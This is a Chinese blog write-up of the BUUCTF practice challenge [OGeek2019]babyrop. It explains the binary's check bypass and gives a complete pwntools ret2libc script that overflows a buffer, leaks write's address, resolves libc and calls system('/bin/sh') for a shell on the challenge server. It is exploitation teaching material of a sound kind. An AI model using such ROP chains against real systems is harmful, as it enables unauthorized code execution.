当前位置: 首页 > news >正文

buu-[OGeek2019]babyrop-好久不见41

 

  • 打开 /dev/urandom 设备文件,读取4个字节到 buf 中。

  • buf 传递给 sub_804871F() 函数,该函数似乎对输入进行某种处理并返回一个值 v2

  • 最后,将 v2 传递给 sub_80487D0() 函数。

  • 这个函数首先将 a1 转换为字符串 s

  • 然后从标准输入读取数据到 buf 中,并确保 buf\0 结尾。

  • 比较 bufs 是否相同,如果不同则退出程序。

  • 如果相同,则输出 "Correct" 并返回 buf[7] 的值。

  • 这个函数根据 a1 的值从标准输入读取数据到 buf 中。

步骤1:泄漏 write 函数地址
  • 首先,通过发送特定的 payload 来绕过某种检查(可能是程序中的某种验证逻辑)。

  • 构造 ROP 链调用 write 函数,将 write_got 中的地址(即 write 的实际地址)输出到标准输出。

  • 通过泄漏的 write 地址找到匹配的 libc 版本,并计算出 libc 的基址。

**步骤2:构造 payload 调用 system("/bin/sh")
  • 构造 ROP 链,调用 system("/bin/sh")

  • system 函数的地址放入返回地址。

  • /bin/sh 的地址作为参数传递给 system

from pwn import *
from LibcSearcher import *
context.log_level='debug'
elf=ELF("./baby")
p=remote('node5.buuoj.cn',27634)
# p=process("./pwn")
payload1='\x00'+'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")
 
write_plt=elf.plt['write']
write_got=elf.got['write']
main_address=0x08048825
payload2=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_address)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
 
addr=u32(p.recv(4))#write_addr
libc=LibcSearcher("write",addr)#通过write的地址来找到符合的libc版本
libc_base_addr=addr-libc.dump("write")#libc基址
system_addr=libc_base_addr+libc.dump("system")#system地址
bin_addr=libc_base_addr+libc.dump("str_bin_sh")#/bin/sh地址
 
print(hex(system_addr))  
print(hex(bin_addr))  
 
p.sendline(payload1)
p.recvuntil("Correct\n")
payload3=b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_addr)
p.sendline(payload3)
p.interactive()

相关文章:

  • C++ 设计模式-状态模式
  • 在s32ds for platform平台debug编译能正常编译,但是切换到release编译时报错
  • DeepSeek vs ChatGPT:AI 领域的华山论剑,谁主沉浮?
  • Uniapp判断设备是安卓还是 iOS,并调用不同的方法
  • 了解大数据
  • 虚拟机的创建及配置
  • Lineageos 22.1(Android 15)Launcer简单调整初始化配置
  • Qt学习(六) 软件启动界面 ,注册表使用 ,QT绘图, 视图和窗口绘图,Graphics View绘图框架:简易CAD
  • 数据库索引:缺点与类型全解析
  • CSS 布局技术深度解析:从传统到现代的核心布局方案
  • Arm64架构CentOS7服务器搭建Fabric环境
  • RPC:分布式系统的通信桥梁
  • 毕业项目推荐:基于yolov8/yolov5/yolo11的番茄成熟度检测识别系统(python+卷积神经网络)
  • 华为S系列交换机安全加固解决方案
  • Secured Finance携手Axelar及Squid提升流动性,迎接USDFC主网
  • 宇树科技13家核心零部件供应商梳理!
  • chmod命令修改rwxr-x---只读权限为rwxr-xr-x
  • C语言学习【1】C语言关于寄存器的封装
  • 数字化营销时代,我们需要有哪些思维?
  • 深入理解指针(六)
  • 墨西哥海军一载两百余人帆船撞上纽约布鲁克林大桥,多人落水
  • 世界高血压日|专家:高血压患者控制血压同时应注重心率管理
  • 北京韩美林艺术馆党支部书记郭莹病逝,终年40岁
  • 马上评|科学红毯,让科学家成为“最亮的星”
  • 马上评|重病老人取款身亡,如何避免类似悲剧?
  • 上海国际碳中和博览会下月举办,首次打造民营经济专区